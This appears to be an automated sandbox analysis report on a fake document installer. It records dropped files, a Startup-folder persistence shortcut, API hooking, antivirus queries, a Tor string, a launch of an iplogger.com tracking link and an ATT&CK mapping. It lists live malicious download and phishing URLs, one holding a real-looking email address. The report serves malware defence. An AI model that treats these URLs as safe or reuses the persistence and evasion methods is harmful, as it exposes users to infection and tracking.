Source: avutil.dll.12.dr	Static PE information: section name: .0#7
Source: avutil.dll.12.dr	Static PE information: section name: .r+)
Source: avutil.dll.12.dr	Static PE information: section name: .Vyi
Source: winlog.exe.12.dr	Static PE information: section name: .didata

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe

Executable created and started: C:\Windows\Installer\MSI6140.tmp

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI60E0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI616F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\avutil.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI611F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6140.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6062.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI60E0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI616F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI611F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6140.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6062.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winlog.lnk

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\winlog.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

May use the Tor software to hide its network traffic

Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp

Binary or memory string: torConnect

Overwrites code with function prologues

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 776ABA30 value: 8B FF 55 8B EC	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 76964D90 value: 8B FF 55 8B EC	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 7697EBF0 value: 8B FF 55 8B EC	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 75BE8A90 value: 8B FF 55 8B EC	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 75C10230 value: 8B FF 55 8B EC	Jump to behavior

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 62D0005 value: E9 8B 2F 41 71	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 776E2F90 value: E9 7A D0 BE 8E	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 63E0005 value: E9 2B BA 2C 71	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 776ABA30 value: E9 DA 45 D3 8E	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 63F0008 value: E9 8B 8E 30 71	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 776F8E90 value: E9 80 71 CF 8E	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 7650005 value: E9 8B 4D 31 6F	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 76964D90 value: E9 7A B2 CE 90	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 7660005 value: E9 EB EB 31 6F	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 7697EBF0 value: E9 1A 14 CE 90	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 7670005 value: E9 8B 8A 57 6E	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 75BE8A90 value: E9 7A 75 A8 91	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 7680005 value: E9 2B 02 59 6E	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Memory written: PID: 2996 base: 75C10230 value: E9 DA FD A6 91	Jump to behavior

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\Installer\MSI6140.tmp	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected ZipBomb

Source: Yara match

File source: C:\Users\user\Downloads\6773bea2-e30f-4e79-8aab-90497f1ef0fb.tmp, type: DROPPED

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI60E0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI616F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI611F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6062.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1110_none_a8625c1886757984	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\version.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.2006_none_d94bc80de1097097	Jump to behavior
Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	File opened: C:\Windows\SysWOW64\netapi32.dll	Jump to behavior

Source: winlog.exe, 00000013.00000002.2333834991.00000000021F8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll86

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process created: C:\Windows\Installer\MSI6140.tmp "C:\Windows\Installer\MSI6140.tmp" https://iplogger.com/LABORAL

Jump to behavior

Source: C:\Windows\Installer\MSI6140.tmp

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/LABORAL

Jump to behavior

Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: Shell_TrayWndSVW
Source: winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: Shell_TrayWndTrayNotifyWndSV
Source: winlog.exe, 00000013.00000000.1615949987.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SV

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: winlog.exe, 00000013.00000002.2333834991.000000000222F000.00000004.00000020.00020000.00000000.sdmp, winlog.exe, 00000013.00000002.2333834991.00000000021A8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Windows Management Instrumentation	2 Registry Run Keys / Startup Folder	12 Process Injection	122 Masquerading	1 Credential API Hooking	1 Query Registry	Remote Services	1 Credential API Hooking	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Multi-hop Proxy	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Rundll32	NTDS	11 Peripheral Device Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	1 Proxy	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com	0%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\avutil.dll	100%	Joe Sandbox ML
C:\Program Files (x86)\DOC70219873816PDF_02\DOC70219873816PDF_02\winlog.exe	2%	ReversingLabs
C:\Windows\Installer\MSI6062.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI60E0.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI611F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI6140.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI616F.tmp	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://www.indyproject.org/	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp//:	0%	Virustotal		Browse
http://www.delphi-jedi.org	1%	Virustotal		Browse
http://www.jiyu-kobo.co.jp/0	0%	Virustotal		Browse
http://www.jiyu-kobo.co.jp//	0%	Virustotal		Browse
http://www.soft-gems.net	0%	Virustotal		Browse
http://www.jiyu-kobo.co.jp/.	0%	Virustotal		Browse
http://www.galapagosdesign.com/	0%	Virustotal		Browse
http://everaldo.com/crystal/	1%	Virustotal		Browse

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
ec2-3-38-76-70.ap-northeast-2.compute.amazonaws.com	3.38.76.70	true	false	high
www.google.com	142.250.190.68	true	false	high
nertaos.com	172.67.221.1	true	false	unknown
map.sewoon.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://a.nel.cloudflare.com/report/v4?s=2Ws0n%2Ff0vZXRUtdEtNe41yXjJcGhrJYlBfjbl5Brthw%2BkXx%2BHV9uPoYmZiPTWItZJSkHYqAygkvBxoAf%2BXVLtOoRNZOUTMTtwh4rzGQ0Og9cHMphoTkcsSNgvXOF7g%3D%3D	false	high
https://map.sewoon.org/wp-content/uploads/2021/08/cropped-favicon-32x32.png	false	unknown
https://map.sewoon.org/1/themes/es/?cid=dcp@sanitasresidencial.com	false	unknown
https://nertaos.com/favicon.ico	false	unknown
https://map.sewoon.org/favicon.ico	false	unknown
https://nertaos.com/down/DOC70219873816PDF_02.zip	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.tiro.com;	winlog.exe, 00000013.00000002.2338977690.0000000005F47000.00000004.00001000.00020000.00000000.sdmp	false		low
http://www.delphi-jedi.org	winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	false	1%, Virustotal, Browse	unknown
http://fontawesome.io	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
http://forums.vso-software.fr/convertxtodvd-batcher-t19034.htmlU	winlog.exe, 00000013.00000000.1615949987.0000000000E01000.00000020.00000001.01000000.00000007.sdmp	false		high
http://code.google.com/p/gnome-colors/P	winlog.exe, 00000013.00000000.1624601251.000000000181D000.00000002.00000001.01000000.00000007.sdmp	false		high
https://iplogger.com/LABORAL6.p	MSI6140.tmp, 00000010.00000002.1601552173.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://forums.vso-software.fr/convertxtodvd-batcher-beta-t19034.html	winlog.exe, 00000013.00000000.1615949987.00000000015CA000.00000020.00000001.01000000.00000007.sdmp	false		high
http://www.vso-software.fr/?adl=1	winlog.exe, 00000013.00000000.1624601251.0000000001E93000.00000002.00000001.01000000.00000007.sdmp	false		high
http://www.jiyu-kobo.co.jp/AAAAAAAA	winlog.exe, 00000013.00000002.2340551523.00000000060A5000.00000004.00001000.00020000.00000000.sdmp	false		unknown
